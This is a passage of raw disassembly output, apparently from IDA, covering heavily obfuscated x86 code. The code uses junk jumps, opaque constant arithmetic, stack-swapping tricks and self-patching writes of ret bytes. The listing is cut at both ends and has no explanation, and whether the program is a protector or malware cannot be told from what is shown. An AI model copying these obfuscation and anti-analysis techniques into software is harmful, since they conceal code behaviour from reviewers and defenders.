; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------

loc_444697:				; CODE XREF: y22d6.y.:004478DEj
		push	0DF5E0011h

; =============== S U B	R O U T	I N E =======================================



sub_44469C	proc near		; CODE XREF: sub_4419CC+7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437AD1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437D8C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00442096 SIZE 00000019 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_440AF5
		jmp	loc_437D8C
sub_44469C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_4446AE:				; CODE XREF: sub_43C55B:loc_43AD50j
		call	sub_44DB81

loc_4446B3:				; CODE XREF: sub_448B71-F2D8j
		jmp	loc_44BFEF
; END OF FUNCTION CHUNK	FOR sub_43C55B

; =============== S U B	R O U T	I N E =======================================



sub_4446B8	proc near		; DATA XREF: y22d6.y.:0043A833o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00444C24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445A98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E0E8 SIZE 0000001D BYTES

		push	edx
		push	82717FD0h
		xchg	ebx, [esp+8+var_8]
		mov	edx, ebx
		pop	ebx
		rol	edx, 0Ch
		sub	edx, 7274B3Bh
		rol	edx, 8
		jmp	loc_445A98
sub_4446B8	endp

; ---------------------------------------------------------------------------

loc_4446D5:				; CODE XREF: y22d6.y.:0043D4CFj
		jz	loc_44BAFE
		xor	ebp, eax
		cdq
		jmp	loc_44BAFE
; ---------------------------------------------------------------------------
		mov	eax, 83ED7AACh
		push	edx
		add	edx, eax
		jmp	loc_445A28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_4446F0:				; CODE XREF: sub_44AEDA:loc_437A57j
		pop	edx
		cmp	dword ptr [ebp-14h], 0
		jnz	loc_43E9AF
		jmp	loc_441999
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444871

loc_444700:				; CODE XREF: sub_444871:loc_4455E3j
		push	0E7853BD7h
		pop	ecx
		and	ecx, 3E2DDB4Eh
		test	ecx, 80000000h
		jmp	loc_43FDA5
; END OF FUNCTION CHUNK	FOR sub_444871

; =============== S U B	R O U T	I N E =======================================



sub_444717	proc near		; DATA XREF: y22d6.y.:004430C7o
		call	sub_43C3D7
		pop	ecx
		mov	[ebp-20h], eax
sub_444717	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_444720:				; CODE XREF: y22d6.y.:004371A9j
					; sub_448EB6-DCFCj ...
		jnb	loc_4372DB
		test	byte ptr [ebp-8], 40h
		push	offset sub_44B0E5
		jmp	nullsub_131
; END OF FUNCTION CHUNK	FOR sub_44CB3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_444734:				; CODE XREF: sub_4432B8+CEDj
		cmp	eax, ecx
		jmp	loc_4452B7
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_44473B:				; CODE XREF: y22d6.y.:00438776j
		xchg	ebx, [esp]
		mov	ecx, ebx
		pop	ebx
		and	ecx, 0C200897Ch
		xor	ecx, 3303275Ch
		jmp	loc_43B760
; ---------------------------------------------------------------------------
		or	ebp, 0DE89C7D5h
		jg	loc_449366
		jmp	sub_4404C7
; ---------------------------------------------------------------------------
		or	ecx, 0E8881192h
		jmp	loc_43CC5D
; ---------------------------------------------------------------------------

loc_44476E:				; CODE XREF: y22d6.y.:0043ED06j
		jnz	loc_43A575
		jmp	loc_44C2BF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F8E

loc_44477A:				; CODE XREF: sub_449F8E+6j
		jmp	loc_44BEF8
; END OF FUNCTION CHUNK	FOR sub_449F8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C62A

loc_44477F:				; CODE XREF: sub_43C62A+Dj
		jmp	loc_44947D
; END OF FUNCTION CHUNK	FOR sub_43C62A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_444784:				; CODE XREF: sub_444581:loc_439040j
		and	ebx, 76FF475Fh

loc_44478A:				; CODE XREF: y22d6.y.:loc_43C6BFj
		add	ebx, 0ABCCB075h
		xchg	ebx, [esp+0]
		jmp	sub_44D293
; END OF FUNCTION CHUNK	FOR sub_444581
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_372. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_444799:				; CODE XREF: sub_44271A+3352j
		jmp	loc_44E1CF
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44479E:				; CODE XREF: sub_4432B8:loc_43EB52j
					; y22d6.y.:0043EB6Bj
		and	eax, 0ECEA7DDDh
		xor	eax, 5404B62Dh
		call	sub_43CA1A

loc_4447AF:				; CODE XREF: y22d6.y.:loc_4486E9j
		call	sub_44C622
; END OF FUNCTION CHUNK	FOR sub_4432B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_251. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_4447B5:				; CODE XREF: sub_43E81B+98DCj
		jmp	loc_43AC35
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------

loc_4447BA:				; CODE XREF: y22d6.y.:004389A2j
		jmp	locret_437DB7
; ---------------------------------------------------------------------------

loc_4447BF:				; CODE XREF: y22d6.y.:00446DD7j
		or	esi, edx
		ror	edx, 3
		xchg	edi, [esi]

loc_4447C6:				; CODE XREF: y22d6.y.:loc_445F8Dj
		mov	eax, 0BB0E1C2h
		call	sub_43CA1A
		rol	eax, 12h
		jmp	loc_44CDF0
; ---------------------------------------------------------------------------

loc_4447D8:				; CODE XREF: y22d6.y.:0044C23Fj
		jge	loc_44113A
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_4447DE:				; CODE XREF: sub_43C6D7-3248j
		jmp	loc_4402F5
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
		and	eax, ecx
		jnz	loc_43B659
		jmp	loc_44113A
; ---------------------------------------------------------------------------
		call	nullsub_8
		jmp	ds:dword_41E130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449C0

loc_4447FB:				; CODE XREF: sub_4449C0+16j
		jmp	sub_43C62A
; END OF FUNCTION CHUNK	FOR sub_4449C0
; ---------------------------------------------------------------------------

loc_444800:				; CODE XREF: y22d6.y.:00440D99j
		jmp	loc_44C5B4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		dw 5789h
		dd 87000049h, 0E957243Ch, 91D0h
; ---------------------------------------------------------------------------

loc_444814:				; CODE XREF: y22d6.y.:0043700Bj
					; y22d6.y.:0043FF71j
		rol	eax, 0Fh
		cmp	eax, 0AADAFBBDh
		jmp	loc_448882

; =============== S U B	R O U T	I N E =======================================



sub_444822	proc near		; CODE XREF: sub_43CB9B+7A6Ep
					; y22d6.y.:004479D2j

; FUNCTION CHUNK AT 00440345 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044758A SIZE 00000014 BYTES

		xchg	edi, [esp+0]
		pop	edi
		call	sub_4397E6
		mov	eax, 0E211C416h
		call	sub_444581
		jmp	loc_440345
sub_444822	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448039

loc_44483A:				; CODE XREF: sub_448039:loc_43E713j
		jnz	loc_448040
		retn
; END OF FUNCTION CHUNK	FOR sub_448039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65F

loc_444841:				; CODE XREF: sub_43C65F+72Bj
		jmp	loc_44B31F
; END OF FUNCTION CHUNK	FOR sub_43C65F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6C5

loc_444846:				; CODE XREF: sub_43C6C5+Dj
		jmp	sub_4396B2
; END OF FUNCTION CHUNK	FOR sub_43C6C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448039

loc_44484B:				; CODE XREF: sub_448039:loc_448040j
		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_448040
		retn
; END OF FUNCTION CHUNK	FOR sub_448039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_44485A:				; CODE XREF: sub_43B252+9440j
		jmp	loc_44E511
; END OF FUNCTION CHUNK	FOR sub_43B252

; =============== S U B	R O U T	I N E =======================================



sub_44485F	proc near		; CODE XREF: sub_43A1BC:loc_438007p
					; y22d6.y.:00448ABCj

; FUNCTION CHUNK AT 00442321 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C5A7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044D50D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DD3B SIZE 00000012 BYTES

		push	ebx
		jmp	loc_44DD3B
sub_44485F	endp


; =============== S U B	R O U T	I N E =======================================



sub_444865	proc near		; CODE XREF: sub_441F08-9EE3j
					; y22d6.y.:00442AC7j ...

; FUNCTION CHUNK AT 00443EE7 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_443EE7
sub_444865	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444871	proc near		; CODE XREF: sub_405299+99p
					; sub_4088D0+107p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438E66 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043B973 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440978 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00444700 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004455CF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044754F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044C0D6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044C527 SIZE 00000011 BYTES

		push	ebx
		jmp	loc_43B973
sub_444871	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_444877:				; CODE XREF: sub_44271A:loc_44D60Aj
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_444BAC
		or	eax, eax
		jmp	loc_43BD19
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447BB2

loc_444887:				; CODE XREF: sub_447BB2:loc_44184Cj
		pop	edi
		sub	edi, 0B9BBBC42h
		and	edi, 0FE3F97A0h

loc_444894:				; CODE XREF: y22d6.y.:loc_437FC0j
		rol	edi, 0Bh
		sub	edi, 1164E1E7h
		xor	edi, 330601A2h
		sub	eax, edi
		xchg	ebp, [esp+4+var_4]
		jmp	loc_4445BD
; END OF FUNCTION CHUNK	FOR sub_447BB2
; ---------------------------------------------------------------------------
		sbb	ecx, ebx
		jmp	sub_44807C
; ---------------------------------------------------------------------------

loc_4448B4:				; CODE XREF: y22d6.y.:00443DEDj
		mov	[ebx], esi
		ror	eax, 1
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_4448B9:				; CODE XREF: sub_439E63:loc_443DE0j
		add	esi, 61419A93h
		mov	[esi], eax
		pop	esi
		jmp	loc_44BC50
; END OF FUNCTION CHUNK	FOR sub_439E63

; =============== S U B	R O U T	I N E =======================================



sub_4448C7	proc near		; DATA XREF: y22d6.y.:0043D490o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00439CC5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FBD3 SIZE 00000017 BYTES

		push	eax
		ror	eax, 4
		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp+8+var_8]
		push	74D8A468h
		jmp	loc_439CC5
sub_4448C7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_4448DB:				; CODE XREF: sub_438B66+C965j
		rol	edx, 18h
		jnb	loc_442A37
		and	ecx, ebx
		jmp	loc_4488A7
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CEE2

loc_4448EB:				; CODE XREF: sub_43CEE2:loc_4487DFj
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]

loc_4448F4:				; CODE XREF: y22d6.y.:004499BCj
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		jmp	loc_437ADB
; END OF FUNCTION CHUNK	FOR sub_43CEE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_444902:				; CODE XREF: sub_43B7D4:loc_4485C7j
		xor	edx, ecx
		jmp	loc_442DC7
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4482CF

loc_444909:				; CODE XREF: sub_4482CF+223Cj
		mov	eax, ecx
		not	esi

loc_44490D:				; CODE XREF: y22d6.y.:loc_43CED3j
		jmp	loc_444BB5
; END OF FUNCTION CHUNK	FOR sub_4482CF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_319. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_444913:				; CODE XREF: y22d6.y.:0043FBBEj
		jmp	loc_43F19D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_444918:				; CODE XREF: sub_438A94+D2Cj
					; y22d6.y.:loc_4489A8j
		jmp	loc_439A82
; END OF FUNCTION CHUNK	FOR sub_438A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44491D:				; CODE XREF: sub_448EB6+3F0Dj
		jnz	loc_438629
		jmp	loc_44AACE
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

locret_444928:				; CODE XREF: y22d6.y.:0044A437j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E7BF

loc_444929:				; CODE XREF: sub_43E7BF+D860j
		jmp	loc_440CD3
; END OF FUNCTION CHUNK	FOR sub_43E7BF
; ---------------------------------------------------------------------------

loc_44492E:				; CODE XREF: y22d6.y.:00440C25j
		jmp	loc_442A4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_444933:				; CODE XREF: sub_43D20E+Aj
		jmp	loc_448B23
; END OF FUNCTION CHUNK	FOR sub_43D20E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_444939:				; CODE XREF: sub_44066C:loc_43A6FDj
		xchg	eax, [esp+0]
		mov	ebp, eax
		pop	eax
		push	615D2366h
		pop	eax
		sub	eax, 776C4E2Bh
		add	eax, 8BE792Fh
		cmp	eax, 19EDF542h
		jmp	loc_44A4F8
; END OF FUNCTION CHUNK	FOR sub_44066C
; ---------------------------------------------------------------------------

loc_44495C:				; DATA XREF: sub_43A9C6+33FBo
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		mov	eax, [esp]
		jmp	loc_43A134
; ---------------------------------------------------------------------------
		push	edi
		push	0C5E79966h
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_444970:				; CODE XREF: sub_448EB6:loc_443282j
		pop	edi
		add	edi, 67B75AA4h
		xor	edi, 0C74BA47Ch
		jmp	loc_43E4D9
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		not	ecx
		jmp	sub_43FD7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_444989:				; CODE XREF: sub_442C0C:loc_441C9Ej
		jnz	loc_43F5DF
		jmp	loc_447C6A
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_444994:				; CODE XREF: sub_44D7E0-2224j
		jge	loc_43C0EB
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; START	OF FUNCTION CHUNK FOR sub_449ECF

loc_44499A:				; CODE XREF: sub_449ECF-1813j
		jmp	loc_43A31B
; END OF FUNCTION CHUNK	FOR sub_449ECF
; ---------------------------------------------------------------------------
		xchg	edi, [ebp+0]
		shr	ebx, 19h
		cmp	edx, 0ADB75C54h
		jmp	loc_44D874
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_4449B0:				; CODE XREF: sub_4431CD+3361j
		sub	ebx, ebp
		or	edx, edi
		push	esi
		jo	loc_44D89E
		jmp	loc_443964
; END OF FUNCTION CHUNK	FOR sub_4431CD

; =============== S U B	R O U T	I N E =======================================



sub_4449C0	proc near		; CODE XREF: y22d6.y.:00438765j
					; sub_43E5C2:loc_43A2E6p

; FUNCTION CHUNK AT 004447FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B211 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 0044CFD4 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 852BDA22h
		jno	loc_44CFD4
		xor	eax, 57B3BF20h
		jmp	loc_4447FB
sub_4449C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449CBB

loc_4449DB:				; CODE XREF: sub_44BBBA:loc_439017j
					; sub_449CBB-10C92j
		add	eax, 242ABA28h
		xchg	eax, [esp+0]
		jmp	sub_44A9DF
; END OF FUNCTION CHUNK	FOR sub_449CBB
; ---------------------------------------------------------------------------
		xchg	ebx, [eax]
		jmp	sub_4404E5
; ---------------------------------------------------------------------------

loc_4449F0:				; CODE XREF: y22d6.y.:0043A588j
		push	offset loc_43D92B
; START	OF FUNCTION CHUNK FOR sub_44371A

loc_4449F5:				; CODE XREF: sub_44371A:loc_43A446j
		jmp	nullsub_156
; END OF FUNCTION CHUNK	FOR sub_44371A

; =============== S U B	R O U T	I N E =======================================



sub_4449FA	proc near		; DATA XREF: y22d6.y.:0043899Eo

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044069C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044394A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443B6E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445444 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00447423 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00447500 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A4B7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044C884 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E105 SIZE 00000008 BYTES

		jb	loc_44E105
		xchg	eax, [esp+0]
		mov	edx, eax
		and	eax, ebp
		jmp	loc_44C884
sub_4449FA	endp

; ---------------------------------------------------------------------------
		xor	eax, edx
		jmp	loc_445C2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_444A13:				; CODE XREF: sub_43EC01:loc_444BB0j
		xor	edx, 1663A1D8h
		and	edx, 9B27245Fh
		add	edx, 651FBD25h
		mov	[edx], eax
		pop	edx
		jmp	loc_44BAD3
; END OF FUNCTION CHUNK	FOR sub_43EC01
; ---------------------------------------------------------------------------

loc_444A2D:				; CODE XREF: y22d6.y.:00449DE8j
		adc	eax, esi
		mov	edx, [edi]
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_444A31:				; CODE XREF: sub_44633F:loc_449DDAj
		xor	edi, 8E84092Ch
		add	edi, 70C69362h
		add	edi, ebp
		add	edi, 648AB9B5h
		mov	[edi], eax
		pop	edi
		jmp	loc_44C1CA
; END OF FUNCTION CHUNK	FOR sub_44633F

; =============== S U B	R O U T	I N E =======================================



sub_444A4D	proc near		; DATA XREF: y22d6.y.:0043D0ABo

; FUNCTION CHUNK AT 0044E11A SIZE 00000005 BYTES

		add	eax, 11F98B01h
		xchg	eax, [esp+0]
		jmp	loc_44E11A
sub_444A4D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4410E0

loc_444A5B:				; CODE XREF: sub_4410E0-38FBj
		popf
		mov	eax, [ebp-10h]
		cmp	eax, [ebp-18h]
		jb	loc_438C96
		jmp	loc_4432A6
; END OF FUNCTION CHUNK	FOR sub_4410E0
; ---------------------------------------------------------------------------

locret_444A6D:				; CODE XREF: y22d6.y.:loc_43880Dj
		retn
; ---------------------------------------------------------------------------

loc_444A6E:				; DATA XREF: y22d6.y.:0043BD68o
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_44B2AE
		jmp	loc_43903B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_444A7D:				; CODE XREF: sub_43E185:loc_445A93j
		add	eax, edi
		pop	edi
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44919A
		jmp	loc_441F2E
; END OF FUNCTION CHUNK	FOR sub_43E185
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_298. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_444A91	proc near		; CODE XREF: y22d6.y.:004426F8j
					; sub_4409F4:loc_44DF2Ep

; FUNCTION CHUNK AT 0044574E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044BE1D SIZE 00000017 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-8]
		push	edi
		push	0A6A390A5h
		jmp	loc_44574E
sub_444A91	endp

; ---------------------------------------------------------------------------
		mov	[eax], edi
		jmp	sub_447BB2
; ---------------------------------------------------------------------------
		push	4070440Ch

loc_444AAF:				; CODE XREF: y22d6.y.:0044C843j
		pop	eax
		xor	eax, 0B7177876h
		and	eax, 0E4C3D85Ch
		add	eax, 8E532D75h
		jmp	loc_44CD66
; ---------------------------------------------------------------------------

loc_444AC7:				; DATA XREF: sub_43E0A9:loc_443C4Eo
		push	esi
		push	6561F65Dh
		call	sub_443B55

loc_444AD2:				; CODE XREF: y22d6.y.:00447152j
		jmp	loc_4460FE

; =============== S U B	R O U T	I N E =======================================



sub_444AD7	proc near		; CODE XREF: sub_447896-130Dp
					; y22d6.y.:0044DADDj
		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	sub_43E39E
sub_444AD7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ecx
		push	0A72BCDB7h
		pop	ecx
		add	ecx, 0E0F5C7CEh
		rol	ecx, 17h
		jmp	loc_443A52
; ---------------------------------------------------------------------------

locret_444AF8:				; CODE XREF: y22d6.y.:loc_43FDAAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_444AF9:				; CODE XREF: sub_44271A+91FBj
		jmp	loc_43D570
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
		dw 914Ch
dword_444B00	dd 131C09Ch		; DATA XREF: sub_43B7B5+4r
					; sub_43B035+4B03w ...
; ---------------------------------------------------------------------------

loc_444B04:				; CODE XREF: y22d6.y.:0043A03Cj
		jmp	loc_4456FD
; ---------------------------------------------------------------------------
		push	esi
		push	0B4830062h
		pop	esi
		xor	esi, ds:4000E6h
		add	esi, 0C4955298h
		xchg	esi, [esp]
		jmp	loc_448107
; ---------------------------------------------------------------------------
		not	esi
		jmp	loc_441F06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D3B1

loc_444B2B:				; CODE XREF: sub_44D3B1:loc_438998j
		jl	loc_449054
		sub	ebp, 8050328Ah
		jmp	loc_43E07A
; END OF FUNCTION CHUNK	FOR sub_44D3B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_444B3C:				; CODE XREF: sub_438B66+EC34j
		jno	loc_43937F
		and	ebx, 0F2720813h

loc_444B48:				; CODE XREF: sub_438B66:loc_44223Aj
		inc	eax
		mov	[ebp-2Ch], eax
		mov	dword ptr [ebp-20h], 0FFFFFFFFh

loc_444B53:				; CODE XREF: y22d6.y.:004471D0j
		jnb	loc_44B544
		jmp	loc_448359
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
		mov	eax, 20413B0Fh
		call	sub_43CA1A
		mov	ds:off_41E1A0, eax
		lea	eax, loc_449269
		mov	byte ptr [eax],	0C3h
		jmp	loc_4429E1

; =============== S U B	R O U T	I N E =======================================



sub_444B7C	proc near		; CODE XREF: y22d6.y.:00442BBEj
					; y22d6.y.:004436C6p
		xchg	edi, [esp+0]
		pop	edi
		cmp	eax, ecx
		pop	ecx
		jnz	loc_44506C
		jmp	loc_44884A
sub_444B7C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 11C5h
dword_444B90	dd 0			; DATA XREF: sub_44371A-5FB7w
					; sub_44371A+24AEr
dword_444B94	dd 0			; DATA XREF: y22d6.y.:loc_4425FCr
					; sub_44D371r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB4F

loc_444B98:				; CODE XREF: sub_44DB4F-402Aj
		jmp	loc_441079
; END OF FUNCTION CHUNK	FOR sub_44DB4F
; ---------------------------------------------------------------------------
		db 37h,	0A8h, 6
dword_444BA0	dd 0			; DATA XREF: sub_4432B8:loc_44358Ar
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_444BA4:				; CODE XREF: sub_44E5C7-6B7Fj
		jmp	loc_4489D5
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
		db 40h,	0A9h, 0BCh
dword_444BAC	dd 0			; DATA XREF: sub_44271A-9E65w
					; sub_44271A+2160r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_444BB0:				; CODE XREF: sub_43EC01-6D0Bj
		jmp	loc_444A13
; END OF FUNCTION CHUNK	FOR sub_43EC01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4482CF

loc_444BB5:				; CODE XREF: sub_4482CF:loc_44490Dj
		shl	ecx, 6

loc_444BB8:				; CODE XREF: sub_4482CF:loc_44A505j
		push	edi
		mov	edi, eax
		xchg	edi, [esp+4+var_4]
		push	offset loc_43C07E
		jmp	loc_4415DC
; END OF FUNCTION CHUNK	FOR sub_4482CF
; ---------------------------------------------------------------------------
		jl	loc_4385B6
		jmp	sub_43ED4E
; ---------------------------------------------------------------------------

loc_444BD3:				; CODE XREF: y22d6.y.:00445045j
					; y22d6.y.:loc_445E16j
		mov	eax, [esp]
		push	eax
		call	sub_44C171
		or	eax, eax
		jnz	loc_438B14
		jmp	loc_44D615
; ---------------------------------------------------------------------------

loc_444BE9:				; CODE XREF: y22d6.y.:0044B774j
		push	esi
		push	0E241E308h
		pop	esi

loc_444BF0:				; CODE XREF: y22d6.y.:0043E979j
		rol	esi, 1Dh
		add	esi, 5417F2C7h
		and	esi, 0CB175126h
		call	sub_43D8E0
; START	OF FUNCTION CHUNK FOR sub_43DCC0

loc_444C04:				; CODE XREF: sub_43DCC0+BAD9j
		mov	edx, eax

loc_444C06:				; CODE XREF: y22d6.y.:0043E6EFj
		jmp	loc_44BA70
; END OF FUNCTION CHUNK	FOR sub_43DCC0
; ---------------------------------------------------------------------------
		mov	edx, ds:dword_4483B0
		or	edx, edx
		jnz	loc_4487F6
		jmp	loc_439BE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439FCB

loc_444C1E:				; CODE XREF: sub_439FCB:loc_44B1B6j
		jge	loc_43F015
; END OF FUNCTION CHUNK	FOR sub_439FCB
; START	OF FUNCTION CHUNK FOR sub_4446B8

loc_444C24:				; CODE XREF: sub_4446B8+9A48j
		jmp	nullsub_1
; END OF FUNCTION CHUNK	FOR sub_4446B8
; ---------------------------------------------------------------------------
		shr	ecx, 0Ch
		sub	ecx, 0E750C2E6h
		xchg	esi, [ebx]
		jmp	loc_444EB6
; ---------------------------------------------------------------------------
		popf
		jmp	loc_439CAF
; ---------------------------------------------------------------------------

loc_444C3F:				; CODE XREF: y22d6.y.:loc_44402Cj
		push	726E12A6h
		pop	ecx
		add	ecx, 0EDAC3248h
		test	ecx, 40000h
		jmp	loc_43BCA4
; ---------------------------------------------------------------------------

loc_444C56:				; CODE XREF: y22d6.y.:0043F6D5j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_438D00
		jmp	loc_443726
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_444C65:				; CODE XREF: sub_4432B8+147j
		jo	loc_439B02
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_444C6B	proc near		; CODE XREF: sub_449641:loc_43FB68p
		xchg	ebx, [esp+0]
		pop	ebx
		ror	eax, 4
